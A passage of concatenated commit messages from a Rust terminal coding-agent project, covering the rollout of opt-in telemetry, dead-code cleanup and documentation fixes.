remain hard floors; and the red-line list is untouched. The local dry-run sink
is documented as what it now is — an explicit `telemetry_endpoint = ""` — so a
user can still read their own payloads instead of taking this on trust.
Also stated rather than left implied: what turning telemetry off does and does
not reach. It erases the install id, buffer, and dry-run records locally and
stops everything further; rows already accepted are keyed only by a rotating
random id and age out with the retention window. There is no deletion API and
this does not claim one.
Both roadmap entries are updated in English and Chinese — the opt-in item and
the "Always-on or silent product telemetry" ruled-out item, which now says what
remains ruled out now that an endpoint exists. The public-surface trust string
and the contract-test assertion on it move together; the assertion gains the
consent half and the endpoint name, because a trust claim that says "an
endpoint" without saying which one is not a trust claim.
Gates: cargo test -p codewhale-config, cargo test -p codewhale-telemetry,
telemetry-ingest npm test (87, including the doc weld that parses
docs/TELEMETRY.md), and web check:facts / check:locales / check:docs / lint all
pass. web npm test has one pre-existing unrelated failure in the tool-surface
assertion against docs/TOOL_SURFACE.md, which this change does not touch and
which fails identically at HEAD.
Zero-warning finish for `cargo clippy -p codewhale-tui --all-targets
--all-features -- -D warnings`, which CI runs with RUSTFLAGS=-Dwarnings.
Deleted — a write-only field with no reader anywhere:
SubAgentToolRegistry::accept_verification. Its doc called it "provenance
for the work graph", but `rg -w accept_verification` shows the registry
copy is assigned once in the constructor and read by nothing; the live
bit is `SubAgentRuntime::accept_verification` (mod.rs:2072), which keeps
all four of its real readers.
Kept behind a scoped `#[allow(dead_code)]`, each naming the live producer,
because deleting them would mean changing signatures at live call sites —
which is a refactor, not this hygiene pass:
retry_status.rs — `client::send_with_retry` still records every retry
through `start`/`succeeded`/`failed`, and client.rs's own tests read it
back via `snapshot()`. What is missing is the *renderer*: the retry
banner lived in the legacy FooterWidget. Removing RetryBanner's fields
or `snapshot`/`seconds_remaining` would force `start(attempt, delay,
reason)` to change shape at its live caller. The module doc now states
this so the next reader sees a half-wired surface, not a mystery.
pricing.rs — BalanceInfo::{currency, total_balance} are wire fields of
the live `GET /user/balance` response that `tui::ui` still fetches into
`App::balance_cell`. serde writes them; nothing renders them since the
footer balance chip went. Marked to match the three sibling fields that
already carried the same attribute.
Both are pre-existing gaps, not new ones: `footer_balance_spans` and
`retry_banner_spans` were already dead before this branch touched them.
The first-party ingest service is deployed at
https://telemetry.codewhale.net/v1/telemetry (Cloudflare Worker, source in
telemetry-ingest/). Until now `telemetry_endpoint` resolved to `None` no
matter what, so even a user who answered Enable at the first-run notice was
writing to `dryrun.jsonl` and contacting nobody. Wire the default.
`DEFAULT_TELEMETRY_ENDPOINT` is applied in `resolve_runtime_options`, not as
a serde default on `ConfigToml`, so `get_value`/`list_values` still report an
unconfigured key as unconfigured and the four config verbs round-trip
unchanged. Precedence is unchanged in shape: environment, then config file,
then — new — the shipped default.
This changes *where* an enabled session's batches go, never *whether* a
session collects. Telemetry is still opt-in and off by default; the endpoint
is read only after `telemetry` resolved true, which requires the first-run
notice to have been answered with Enable. `CODEWHALE_TELEMETRY=0`,
`telemetry = false`, and a recorded decline are all upstream of this line and
all still hard floors.
The local dry-run sink stays reachable through an explicitly *empty*
endpoint, in the config file or the environment. That required dropping the
env-layer `.filter(non-empty)`: with a default behind it, discarding an
emptied `CODEWHALE_TELEMETRY_ENDPOINT=` would have fallen through to the
shipped endpoint — the exact opposite of what anyone typing it means.
Three tests pin the behavior: the default by literal value (so it cannot
drift), a config-file and environment value each beating it, and empty
resolving to `None` from both sources. `TelemetryEnvGuard` now also clears
the endpoint variables, so an ambient value in a developer's or CI's
environment cannot make the default assertion vacuous.
Last of the dead_code batch that CI's RUSTFLAGS=-Dwarnings turns into a
build failure. Each of these had exactly one caller, and that caller was
in the legacy footer or the classic sidebar's row layer. Verified with
`rg -w` across the whole workspace before removing.
app.rs SidebarRowAction::HotbarSlot — never constructed. The
only two places that named it were mouse_ui's re-map arm
(which can only fire on a HotbarSlot it never receives)
and apply_sidebar_row_action's handler; both arms were
unreachable and go with the variant. `as_command`'s match
loses one arm. Also is_cancel_action, active_receipt_text
and last_turn_cache_savings (the footer's "· saved $x"
hint).
pricing.rs calculate_cache_savings_for_provider (only caller was
last_turn_cache_savings) and BalanceInfo::total_balance_f64
(only caller was footer_balance_spans). The three billing
tests that also asserted cache savings are KEPT — only the
savings assertions are removed from them, so the
StepFun/Codex/costless-route billing-surface coverage
stays.
ui_text.rs concise_shell_command_label + normalize_shell_text,
actionable_shell_segment, gh_command_label behind it.
widgets/mod.rs pad_lines_to_bottom, truncate_display_width, vim_mode_style
workspace_context.rs format_repo_identity (footer repo chip). collect,
identity_from_context and workspace_basename stay — ui.rs,
mouse_ui and underwater still call them.
key_shortcuts.rs reasoning_detail_shortcut_label, turn_inspector_shortcut_label
menu_style.rs status_inline_label
format_helpers.rs prefix_stability_chip
subagent_routing.rs foreground_rlm_running (the surviving one with that
name is sidebar::foreground_rlm_running, still live),
agents_sidebar_surface_visible
app/status.rs active_status_toasts
app/types.rs label_localized
Tests removed with the code they covered: 3 in app/tests.rs, 3 in
ui_text.rs, 3 in widgets/mod.rs, 6 in workspace_context.rs, 3 in
pricing.rs, 1 in menu_style.rs.
No behavior change: dead_code proves every item was unreachable from main,
and the two match arms deleted in mouse_ui.rs were unreachable with it.
audit.toml (root) — inert. cargo-audit reads `.cargo/audit.toml`, and that file
exists and carries the live ignore list. I proved the root file has no effect
with a controlled A/B on this repo's Cargo.lock against a real advisory
(RUSTSEC-2025-0141): with the ignore in `./audit.toml` the advisory is still
reported; with the same ignore in `.cargo/audit.toml` it is suppressed. Every
directive in the root file is commented out, `cargo audit` 0.22.1 has no
`--config` flag, and .github/workflows/security-audit.yml:31 runs it bare. The
`'**/audit.toml'` paths trigger at security-audit.yml:11 is a glob that matches
`.cargo/audit.toml` too, so nothing breaks — but it means editing the inert file
fires CI and looks like it took effect.
assets/locale-config-step1.jpg, assets/locale-config-step2.jpg — orphaned since
b5b4d49324, which removed the README.zh-CN locale walkthrough that embedded them
(`-`). `git grep -l -i
locale-config` returns nothing; GitHub code search finds no reference in any
indexed fork. The only tracked asset any README references is
assets/screenshot.png, which is what web/lib/public-surface-contract.test.ts:539
asserts. They are also stale in content: step1's status line reads
`agent · deepseek-v4-pro · draft` and step2 sits beside a `DeepSeek T…` sidebar,
i.e. pre-Codewhale branding and a mode word outside Plan/Act/Operate.
docs/TUI_PARALLEL_REVIEW_2026-07-12.md — 276 lines scoped at lines 3-5 to "the
uncommitted + local diff on branch codex/underwater-tui-20260711". That branch
does not exist (`git branch -a --list '*underwater-tui*'` is empty), so the
headline P0 ("does not currently pass `cargo clippy -D warnings`, 37 errors") is
unfalsifiable by construction. Its concrete P0 items are closed or wrong:
settings_picker/transaction.rs does not exist; `composer_owns_printable` has
zero hits; `format_usage_chip` is consumed (route_billing.rs); the
`PrefillCommand` item was closed by the doc's own third remedy —
crates/tui/src/tui/app.rs:841 now carries `#[allow(dead_code)]` with a
TUI-DOG-008 note. Its cited style-lint line numbers now land on unrelated code
(settings_picker/mod.rs:352 is a test assert; views/fleet_setup.rs:1851 is a
panic arm). P1.1 and P1.2 are also resolved — SpawnRequest now carries
write_authority and expected_artifact (subagent/mod.rs:1714,1717) and
AgentsInterruptTool gets its caller (coord.rs:704). `rg 'TUI_PARALLEL_REVIEW'`
across the repo including .github/ and scripts/ returns nothing.
One item in that review is still open and does NOT die with the file, so it is
recorded here: P1.3 — crates/tui/src/tui/streaming/mod.rs:91 `note_delta` still
hardcodes `note_delta_with_backlog(now, 1, None)`, and every caller passing a
real backlog is a test (:885, :894, :912), so the full-motion catch-up path is
unreachable in production. That deserves an issue.
docs/TOOL_SURFACE.md carried four claims the runtime's own tests contradict:
1. "The default-active policy contains exactly these ten names" listing
`update_plan`. `DEFAULT_ACTIVE_NATIVE_TOOLS`
(crates/tui/src/core/engine/tool_catalog.rs:44-58) has eight entries and
`update_plan` is not among them — it appears nowhere in tool_catalog.rs. The
policy is nine (those eight plus synthetic `tool_search`), eight with memory
disabled. `update_plan` is registered (crates/tui/src/tools/plan.rs:401) but
reachable only through `tool_search`; the tool table now says so.
2. "A memory-disabled or Moraine-fallback runtime". There is no Moraine
fallback — docs/MEMORY.md:11-13 records the removal, and
crates/tui/src/prompts.rs:2445-2449 is a test asserting MEMORY_GUIDANCE must
not contain the word.
3. A "Replay-only aliases" table promising "saved transcripts, sessions, and
recorded automation replay without migration" for 23 names, 16 of which are
asserted REMOVED at crates/tui/src/tools/registry.rs:2066-2088 ("{retired}
must stay removed") and 6 more at :2290-2304 ("{alias} must be removed").
Split into a "Removed spellings" section (with the registry.rs:313-316 note
that resolve has no fuzzy step, so those calls fail rather than dispatch) and
a "Replay-only aliases" section holding only what is still registered:
apply_patch, task_*, github_*, automation_*, rlm_*, checklist_*/todo_*.
4. A "Release verification" block whose three cargo filters name tests that do
not exist (`rg` finds those three strings only in that doc). `cargo test`
exits 0 with "0 passed; N filtered out" on a filter that matches nothing, so
a release engineer following it got three green checkmarks having verified
nothing. Replaced with the real names —
`shell_surface_contains_only_the_canonical_bash_tool` (registry.rs:2290) and
`runtime_task_families_expose_only_canonical_tools` (registry.rs:2333) — plus
the receipt test, and a warning about the silent-pass failure mode.
docs/RUNTIME_SIMPLIFICATION_DESIGN.md repeats errors 1 and 3 and is designated
authoritative by docs/TOOL_LIFECYCLE.md:3-7, but carries no status marker. Given
a status banner naming both divergences and pointing at TOOL_SURFACE.md; the
"Rejected alternatives" provenance is worth keeping, so not deleted.
docs/SUBAGENTS.md:
- "a bounded queue of up to 200 running plus queued sub-agents by default" —
`MAX_SUBAGENT_ADMISSION` is 1024 (crates/tui/src/config/subagent_limits.rs:21),
which is what docs/TOOL_SURFACE.md:182 already said. The 64/128 concurrency
figures on the same page were correct and are untouched.
- The memory section described a `memory.md` that does not exist and omitted the
`scope` parameter. crates/tui/src/tools/remember.rs:165 states the legacy
single-file path was removed in v0.9.4; writes go through
`NativeMemoryStore::remember(scope, workspace_id, note)` (remember.rs:77-108).
config.example.toml documented two key sets that do not exist. Neither struct has
`deny_unknown_fields`, so both were silently discarded rather than rejected:
- `[advisor] max_tool_pairs` / `system_prompt`. `AdvisorConfigToml`
(crates/config/src/lib.rs:2369-2394) has enabled, max_tool_calls (default 10,
clamped 1-50 — the doc said 8, max 32), rate_limit_secs, dedup_window_secs,
and model. `model` was undocumented; now it is.
- `[fleet.profiles.*.permissions] allow_tools` / `deny_tools`.
`FleetProfilePermissions` (lib.rs:1966-1977) has allow_shell, trust,
approval_required. `rg 'allow_tools|deny_tools' crates/` finds nothing. The
example value was `"exec_shell"`, itself a removed tool name.
docs/CONFIGURATION.md: deleted the "Parsed but currently unused" section. Its one
entry, `tools_file`, is not parsed by anything — the field was removed in
346bfe3b6 and the doc bullet was orphaned. Repo-wide `rg` finds the string only
in that section, and nothing links a #parsed-but-currently-unused anchor.
docs/TTC_DESIGN.md said implementation "is deferred beyond v0.9.0". The `verify`
tool shipped and is default-on (crates/tui/src/tools/verify.rs,
features.rs:262, registry.rs:1040-1041 with verify_tool_enabled defaulted true).
Retitled as landed-in-part; capability (B) is still genuinely deferred, so the
doc stays. Its interface line said `with_verify(critic)`; the real signature is
`with_verify_tool(client, model)` (registry.rs:886).
docs/skills/README.md advertised `gh-plan-issues`, deleted in 18de2ebc0, and
credited these skills to "the v0.8.61 release" at a 0.9.4 release.
docs/architecture/provider-model-settings-v091.md pinned
`provider_is_configured` to config.rs:8625-8669; it is at :10160 and that region
is now unrelated code. Replaced with the symbol name, since config.rs is under
active edit.
docs/architecture/command-dispatch.md:133 claimed EPIC-002 was "ready for PR".
The PR (#3706) merged and #2870 closed 2026-08-01. Line 145 was an empty
"Current Evidence (Draft)" heading with no content; removed.
.gitignore: `git check-ignore -v` attributes .claude/settings.json,
scheduled_tasks.lock, worktrees/, and *.local.* to the blanket `.claude/` at
line 126, not to the specific rules above them. Dropped the redundant ones and
annotated why the HANDOFF_/CODEMAP_ patterns are deliberately kept.
Deployed and verified live against the real endpoint:
valid golden batch -> 204, zero-byte body
unknown key `cwd` -> 400 (a future client bug is refused, not stored)
GET -> 405
content-type text/plain -> 415
POST / -> 404
Read back from Analytics Engine after ingestion settled: two rows,
session_start and session_end, carrying install_id, surface=tui, os=macos —
the documented shape and nothing else.
The IP promise is structural rather than configured. The Analytics Engine
schema is _sample_interval, blob1-20, dataset, double1-20, index1, timestamp:
there is no IP, country, or geo column to write to. The handler reads exactly
two headers, never touches request.cf, logs nothing, and invocation logs are
off. A test greps the shipped source and fails the build if that changes.
Hostname is self-describing on purpose. Someone inspecting their own network
traffic should be able to tell what this is from the name; an opaque `t.`
would have been shorter and would have looked evasive. workers.dev is disabled
so there is exactly one way in, on our own domain.
Shortcut facts (this is why the contract test moved):
docs/public-surface-facts.json declared both `Tab` and `Shift+Tab` as
`when: "composer idle"`, and web/lib/public-surface-contract.test.ts pinned
that string into README.md and docs/KEYBINDINGS.md. Both halves are false —
crates/tui/src/tui/ui.rs:6978 gates Tab on `!app.input.is_empty()`, and
ui.rs:6363-6367 gates Shift+Tab only on the modal stack. The matrix now says
"composer empty" / "always (suppressed only under a non-Config modal)" and the
test asserts the corrected wording plus a negative guard so the idle claim
cannot come back. docs/MODES.md:24 already said "when the composer is empty";
it was the matrix and the test that were stale.
/runtime rendered the Chinese-primary H1 for every locale:
web/app/[locale]/runtime/page.tsx:84-88 had two byte-identical ternary
branches, both `Runtime & 集成 Integrations`. That contradicts
web/lib/i18n/dictionaries/types.ts:33-46 ("Never hardcode Han characters at a
call site") and docs/LOCALIZATION.md:80-82 ("no locale renders another
language's script by accident"). Every other page follows the correct pattern
(constitution/page.tsx:60-65). Fixed both branches; same class, smaller blast
radius, in feed/page.tsx:114 ("Section 03 · 动态" hardcoded in the EN branch).
FAQ provider list was 25 hand-maintained names against 40 real routes:
web/lib/facts.generated.ts derives 40 providers from `pub enum ApiProvider`,
and models/page.tsx already renders `facts.providers.length`. The FAQ omitted
15, including xAI, Baidu Qianfan, Meta Model API, and all four Model Studio
routes. Because ja/ko/ru/es/pt-BR/uk/vi/id fall back to English page bodies,
9 of 10 locales saw the stale list. The count is now derived from FACTS and
the enumeration is explicitly a sample ("including …") pointing at /models.
Other corrected claims:
- docs/subagents/page.tsx omitted the `consultant` role. It is one of the eight
in FLEET_ROLE_SCHEMA_VALUES (crates/tui/src/tools/subagent/mod.rs:376-385),
advertised to the model, and already in web/lib/content/vocabulary.ts:183-186.
- lib/media-manifest.ts:99-100 promised a recording "from the v0.9.2 release
candidate" on a live page (/docs/guide via components/session-media.tsx:47).
v0.9.2 and v0.9.3 both shipped; restated against 0.9.4.
- lib/docs-map.ts:39-40 advertised Nix and Scoop as contents of /install. Both
are real (docs/INSTALL.md:356, :507) but the site page has neither; the
description now names what the page actually contains.
- web/README.md:99/101/122/127 — "en / zh, every page is bilingual" (10 locales
route and non-zh get English bodies), a home-page section list naming four
sections that do not exist, and "EN ↔ ZH toggle" for what
components/locale-switcher.tsx:13-14 builds as an N-locale dropdown.
- docs/LOCALIZATION.md stated three different TUI key counts (1248 in the table,
1,153 at :234). `python3 scripts/check-tui-locale-parity.py` prints 1299 for
every pack. The zh-Hant row claimed 499/1248 "missing keys fall back to
English at runtime" — it is 1299/1299, so nothing falls back; the row now says
so and flags the PARTIAL_PACKS promotion as an open decision. The web
reference shape said 51/60 keys twenty-three lines above its own correct
52/62; check:locales prints 52/62.
Deleted (verified zero importers, no barrel, no glob loader, no CI reference):
- components/stat-grid.tsx — pulled from community/page.tsx in c268cc375, which
added the guard at lib/public-copy.test.ts:141 asserting the page must NOT
use it. That guard reads page source as a string and is kept.
- components/mermaid-diagram.tsx — its only consumer was removed in 5abe250f3e
("Cut: … the Mermaid architecture diagram"). Removed with it: the dead
`.mermaid-frame` rules in app/globals.css and the `mermaid` production
dependency, via `npm uninstall mermaid` so package-lock.json stays consistent
with package.json (CI runs `npm ci`, which hard-fails on drift).
Verified in web/: npm test exit=0 (28 files, 235 tests), check:facts exit=0,
check:locales exit=0, check:docs exit=0, lint exit=0.
`tui/sessions_rail.rs` (#2934) projects and caches rows for a rail panel
that nothing draws. `work_surface::RailPanel` has Pinned/Tasks/Agents/
Context and no Sessions variant, so `SessionsRailCache` was only ever
constructed from `session_control_acceptance` — a `#[cfg(test)]` module —
while production did nothing but assign `app.sessions_rail_cache = None`
at four invalidation points. clippy reported 10 dead_code warnings across
the module; -Dwarnings turns each into a CI failure.
Deleting per the repo's "intent is the artifact" rule, stating it plainly
so the rail can be rebuilt deliberately rather than excavated:
tui/sessions_rail.rs (whole module, 308 lines)
SessionsRailCache (rows/total_in_scope/error/is_fresh),
build_rail_cache, load_rail_cache, rows_for_height, row_command,
browse_all_command, RAIL_CACHE_TTL.
(The file itself was removed in 426d610c1, which picked up the staged
deletion; this commit removes `pub mod sessions_rail;` and the wiring
that still pointed at it.)
session_projection.rs
DEFAULT_RAIL_ROWS and count_sessions — the rail's row budget and its
"8 of 31" footer total, with no other caller. project_sessions,
SessionQuery, SessionSummary and MAX_PROJECTED_SESSIONS stay; the
picker and Runtime API use them.
App::sessions_rail_cache and its four `= None` invalidations
(ui.rs rename/archive/delete, /session archive, /config set).
Deliberately KEPT: the `sessions_rail` setting and `App::sessions_rail`.
`/config get sessions_rail` still reads it and settings.rs still migrates
`sidebar_focus = sessions` onto it (#5141), so the user-facing toggle is
untouched — it is simply a toggle with no renderer behind it today, which
was already true before this commit.
Test impact: one acceptance case
(`rail_total_is_the_true_in_scope_count_not_a_reclamped_projection`) and
its ACCEPTANCE_MATRIX row are removed together, plus the rail entry in the
offline-by-construction include_str check. The matrix's own
`every_matrix_row_names_a_real_test` guard stays satisfied.
No behavior change: nothing read the cache.
Adds `telemetry-ingest/`, a Cloudflare Worker that accepts the batches
`crates/telemetry` produces and writes them to Workers Analytics Engine.
Nothing is deployed and no Cloudflare resource was created; the shipped
`telemetry_endpoint` default stays unset, `config.example.toml` and
`docs/TELEMETRY.md` are untouched. Publishing is a separate, deliberate
step.
It lives at the top level rather than inside `web/` because the site is a
separate deploy with its own Next.js/OpenNext build, and a telemetry
change should not rebuild the marketing site.
The endpoint is write-only: one POST route, every other method 405, no
route that returns data, and a zero-byte body on every status. The client
reads only the status class and drops the batch on anything non-2xx, so a
rejection here is invisible to the user by construction — which is what
lets the endpoint fail closed and refuse anything it cannot account for.
Three properties are enforced by tests rather than by intent:
`docs/TELEMETRY.md` says "Batches are IP-stripped at ingest. No IP is
stored, logged, or joined to install_id." This Worker is the whole of what
makes that true. It reads exactly two headers, never touches the request's
`cf` property, logs nothing, and turns invocation logs off in the config;
the row builder's input type is the validated batch body, so it cannot see
the connection at all. `test/no-ip.test.ts` greps the shipped source for
the header and geo names and fails the build if one appears, if the set of
headers read grows, if a console call is added, or if a Response is ever
built with a body.
The validator is a closed field set, not a permissive parse: an unexpected
key anywhere — envelope, event, counters, errors, turn_wall — rejects the
whole batch with 400. A future client bug that starts attaching a path or
a prompt is refused rather than quietly stored.
`test/schema-doc.test.ts` parses the field names and enum spellings back
out of `docs/TELEMETRY.md` and asserts set equality against the validator,
and the suite posts `crates/telemetry/tests/golden/v1.json` — the client's
own pinned wire form — asserting it is accepted and that deleting any key
from it is rejected. Doc, client, and server cannot drift apart silently.
The body cap is computed, not guessed: `parse_events` bounds a batch at
200 events and 65536 bytes, plus 199 commas and ~375 bytes of envelope,
so 66110 bytes is the conforming worst case and the cap is 72 KiB. The
512-record ring is the disk cap, not the wire cap. Rate limiting is keyed
on `install_id` from the validated body, never on an address.
Analytics Engine layout is one data point per event, indexed on
`install_id`, with the ten counters, six error classes and four turn-wall
buckets filling all twenty doubles. The README documents the exact SQL for
the two questions this exists to answer — installs and sessions, and which
error classes and panic sites dominate — one query each.
Verified locally only: 87 vitest tests, `tsc --noEmit`, `wrangler deploy
--dry-run`, and `wrangler dev --local` driven with curl (204 on the golden
batch, 400 on an unknown key and on an out-of-allowlist panic site, 413
oversized, 405 GET, 415 wrong content type, 404 other path, 429 after 20
POSTs from one install id). `wrangler dev` caught a real defect the dry
run did not: the runtime maps every named export of the entrypoint to an
entrypoint, so the route constant moved to its own module.
The one-paragraph TUI tour in README.md and all nine translations taught two
false preconditions and the wrong verb for undo.
Tab: the README said "when the composer is idle". The gate is EMPTINESS, not
idleness — crates/tui/src/tui/ui.rs:6978 does `if !app.input.is_empty() {
continue; }` immediately before `app.cycle_mode()`, and the comment at
ui.rs:6974-6977 explicitly denies the idle/running distinction ("Tab is
completion when the composer has content and a mode switch only when it is
empty ... so Tab never changes roles based on whether a turn happens to be
running"). A user with typed text and no turn running got completion, not a
mode switch.
Shift+Tab: the README applied the same "idle" qualifier. Shift+Tab has no
composer precondition at all — ui.rs:6363-6367 gates only on the modal stack,
per the comment at ui.rs:6358-6359 ("Shift+Tab is a shell-level permission
control. Keep it live in the composer.").
/restore: "undoes a turn" conflated two commands and described neither. Bare
`/restore` lists snapshots and reverts nothing
(crates/tui/src/commands/groups/skills/restore.rs:33-42 returns
`format_listing(&snapshots)` and returns early); `/restore <N>` reverts
workspace files only ("conversation history is unchanged", restore.rs:104-108).
The verb that undoes a turn is `/undo`
(crates/tui/src/commands/groups/debug/undo.rs:9-16). The product's own help
string already had this right — crates/tui/locales/en.json:287.
Also in this commit, because the translation stamp couples them:
- docs/KEYBINDINGS.md:18 inherited the same wrong "idle" qualifier on the
Shift+Tab row; KEYBINDINGS.md:17 was already correct for Tab.
- README.id.md was stamped in sync but was missing the docs/AUTHORIZATION_ORDER
and docs/HOOKS "Learn more" bullets that README.md:87-92 and the other eight
translations carry, and its language switcher omitted Русский and Українська.
Provenance: 171f0b2a2 touched README.md plus the eight files in the checker's
TRANSLATIONS list and skipped README.id.md; 92128e669 then refreshed the stamp
wholesale, so the marker certified a sync that did not exist.
- scripts/check-readme-translations.py checked only eight of the nine shipped
translations. README.id.md was absent from both TRANSLATIONS and the
LANGUAGE_LINKS exemption set, which is exactly how the gap above survived CI.
Adding it makes the gate report "9 translations in sync".
- README.ru.md:24 listed [Українська](README.uk.md) twice.
The gate was already red before this commit: cc20f407f added the Discord link
and badge to README.md and to every translation body but never re-stamped, so
all eight checked files reported stale. All nine are now re-stamped to
sha256:a7f294018f28.
Verified: `python3 scripts/check-readme-translations.py` exit=0 ("9
translations in sync"), `bash scripts/check-readme-locales.sh` exit=0 (PASS).
The rail unification (fdc3ab93c, 70759e1c1, d8c2ac9cb) moved the sidebar
onto `work_surface`, and the row/hover layer the classic sidebar used to
build its Activity and Tasks panels stopped being reachable from `main`.
`cargo clippy -p codewhale-tui --all-targets` reported 55 dead_code
warnings inside this one file; with CI's RUSTFLAGS=-Dwarnings that is a
build failure on macOS, Windows and the mobile smoke job.
Deleted (sidebar.rs, 6494 -> ~3300 lines). Named so it can be rebuilt on
purpose rather than recovered:
row model SidebarToolRow, TaskPanelRowSets, ActiveToolRowVisibility,
ToolRowOrder
task panel task_panel_row_sets, task_panel_rows, task_panel_lines,
task_panel_hover_texts, background_task_rows/_labels/
_click_actions/_has_stop_target/_is_live/_spinner_prefix/
_duplicates_live_tool, command_row_action,
stale_no_output_label
activity rows active_tool_rows, active_tool_row_visibility,
collapsed_stale_running_row, recent_tool_rows,
push_tool_rows, sidebar_tool_row_from_cell,
editorial_tool_rows, sidebar_row_identity, tool_row_rank,
task_status_rank, is_low_value_tool, is_ci_poll_row,
is_shell_wait_poll_row, shell_wait_poll_key,
tool_status_marker, duration_ms,
ACTIVE_TOOL_COMPLETED_ROW_TTL,
ACTIVE_TOOL_STALE_RUNNING_ROW_TTL, RECENT_TOOL_SCAN_LIMIT
shell/tool shell_status_for_sidebar, shell_summary_for_sidebar,
looks_like_pending_ci, failure_summary_with_hint,
friendly_generic_tool_name, generic_tool_sidebar_summary
hover work_panel_hover_texts, push_tool_row_hover_texts,
subagent_panel_hover_texts, agent_row_hover_text,
sidebar_hover_rows, spans_to_text,
agent_stop_action_for_click, push_sidebar_label_theme
misc active_goal_banner_text, clip_line_to_width,
pad_to_display_width, normalize_activity_text,
compact_join, first_nonempty_line
field SidebarAgentRow::role — written at both construction sites
but read by nothing since agent_row_hover_text went; the
two initializers are removed with it. `rg '\.role\b'`
shows no reader in or outside the crate.
Kept, because work_surface/panels.rs, agent_details.rs, render.rs and
app.rs still call them: work_panel_lines, sidebar_work_summary,
live_goal_objective, subagent_panel_lines/_rows, sidebar_agent_rows,
context_panel_lines, and the agent status/label helpers.
62 tests that only exercised the deleted rows go with them; the panels
that survived keep their coverage (35 tests remain in the module).
No behavior change: dead_code proves every deleted item was unreachable
from `main`, and nothing in work_surface referenced them.
A WeChat-community user runs CodeWhale against their company's internal
OpenAI-compatible gateway, whose model ids are case-sensitive. Their
config.toml names `DeepSeek-V4-Flash`; entering the TUI showed
`deepseek-v4-flash` in the header and put that id on the wire, which the
gateway does not serve. Their own summary: whatever I write in config.toml is
what should get configured. They report this started after 0.9.
The route-aware boundary itself already holds. I swept every provider kind
against custom and official base URLs in four config shapes, and the configured
casing survives byte-for-byte from the parsed file through
`Config::default_model()`, `wire_model_for_provider_route()`, and the runtime
route resolver. The only provider that rewrites an id on a custom endpoint is
OpenCode Go, and that is its deliberate Chat Completions allowlist.
What does not hold is launch precedence. `settings.toml`'s `provider_models`
remembers the last `/model` (or model picker) selection and outranks
config.toml on every later launch unless `--model` was passed. The picker
offers catalog spellings, which are lowercase, so a single pick of the
"DeepSeek V4 Flash" row permanently replays `deepseek-v4-flash` over the user's
`DeepSeek-V4-Flash` — in the header and on the wire — with config.toml
apparently ignored.
Reconcile the two: when the remembered pick and the configured model differ
only by ASCII case they name the same model, and the config file owns the
spelling. A remembered pick naming a genuinely different model still wins, so
`/model` persistence is unchanged — only the spelling defers, never the
selection.
Also pin the byte-for-byte guarantee with regression tests across six config
shapes (provider-scoped and root `base_url`, the OpenAI-compatible and literal
custom tables, the Anthropic dialect), asserting alongside them that alias
matching stays case-insensitive and that a first-party DeepSeek route still
canonicalizes its retired aliases.
Verified: cargo test -p codewhale-config; cargo test -p codewhale-tui
--bin codewhale-tui config (881 passed); ... model (702 passed).
Adds https://discord.gg/37gfS3ksug in the places someone actually looks for
a community: a badge in the first badge row and an entry on the language/link
line of all ten READMEs, a Discord action in the site nav beside the star
badge, an entry in the footer Project column, and a link in the homepage
community section.
"Discord" is a brand name, so it is a literal rather than a dictionary key —
it needs no translation and every routed locale gets the identical link shape.
The one exception is the zh README's nav line, which reads "Discord 社区" so
the word is a noun phrase in context rather than a bare English token.
docs-ia.test.ts pins the footer project routes in exact locale-swap parity, so
its expectation is extended rather than relaxed — a new footer link still has
to appear in every locale or the test fails.
Receipts: cd web && npx tsc --noEmit exit=0; npm test -> 28 files, 235 tests
passed; npm run lint exit=0.
recover_terminal_modes() armed both EnableMouseCapture and xterm
alternate-scroll mode (DECSET 1007) when mouse capture is active.
1007 converts wheel input into arrow keys, and terminals disagree
about which takes precedence when both are enabled - iTerm2 converts,
so wheel events arrive as Up/Down keys and trigger composer
input-history navigation instead of transcript scrolling.
Mouse reporting is the authoritative wheel channel while capture is
on, so 1007 must stay off there too; the no-mouse-capture contract
from #4026 already leaves it off. Drop the now-unused
enable_alternate_scroll_mode() helper and flip the CSI-sequence
assertions to expect the reset instead of the enable.
Verified: cargo test -p codewhale-tui --bin codewhale-tui --
alternate_scroll recover_terminal_modes resume_tui_child_modes
(4 passed); cargo fmt; clippy clean for touched files.
`a_run_scoped_kill_switch_preserves_a_consenting_users_state` runs the shipped
binary three times with `CODEWHALE_TELEMETRY` set to each spelling of "off"
against a seeded, consenting home, and asserts the directory comes back
byte-identical with no tombstone — then writes `telemetry = false` to the same
home and asserts that one *does* wipe. Both halves matter: a test where the two
switches are merely both silent would pass on the old, destructive behavior.
`config.example.toml` and `docs/CONFIGURATION.md` each repeated the "permanent
tombstone" claim `docs/TELEMETRY.md` made and could not keep. They now say what
is true and testable — the tombstone stands for as long as the `false` that
produced it stands, the config key outranks `--telemetry true` and
`CODEWHALE_TELEMETRY=1`, and the environment variable erases nothing.
`every_event()` gets the note it has needed since it was written: it is
hand-maintained, every red-line walk starts from it, and nothing in this file
can make the compiler extend it. `Event::is_bounded`'s exhaustive match is what
actually catches a new variant, and the note says so rather than implying a
guarantee the fixture list does not carry.
`codewhale mcp-server` dispatched straight into the in-process stdio server
with no `start_cli_telemetry` call, unlike the `auth`, `config`, `update`, and
in-process `app-server` branches beside it. It fails closed, so this was never
egress — but `Surface::McpServer` is a documented enum member, and
`docs/TELEMETRY.md`'s "which surfaces emit" section exists precisely so a
maintainer does not read a structural zero as an adoption zero. This was one.
The other spelling, `codewhale serve --mcp`, delegates to the TUI and arms
there, so the same user action reported differently depending on which command
name they typed.
The first-run notice gated on three things — `--skip-onboarding`, a TTY, and
whether a decision was recorded — and on nothing the user had actually said
about telemetry. It runs before `arm_telemetry`, which is the only place in the
process that resolves anything, so it rendered on a machine with
`CODEWHALE_TELEMETRY=0` exported *and* `telemetry = false` in the config file,
and answering `y` wrote `telemetry = true` straight over that `false`.
Reproduced under a PTY on a fresh home: the notice drew, `y` left
`telemetry = true` in the config and `telemetry_opt_in: true` in setup state.
That run emitted nothing — the environment floor held — but every later run
without the variable did, and so did every surface that never inherits it: an
editor-launched `mcp-server`, a launchd or GUI session. An operator who
declared a floor got asked anyway, and a user's own persisted "no" was reversed
with no warning.
Being asked is not collection, but it is not free either: the answer lands in
two durable registers, one of which may already hold the opposite. So the gate
now also reads the resolved config and `telemetry_floor_in_force()`, and
`NoticeGate::may_ask` is the whole predicate in one testable place. A persisted
`telemetry = false` and an environment kill switch each suppress the question.
`write_config_opt_in` re-checks the same invariant against the bytes on disk at
the moment of the write. It is the only write in this feature that can turn
collection on, and a gate computed before the user was even asked is not the
thing that should be guarding it.
docs/TELEMETRY.md called the opt-out's tombstone "permanent" and said the
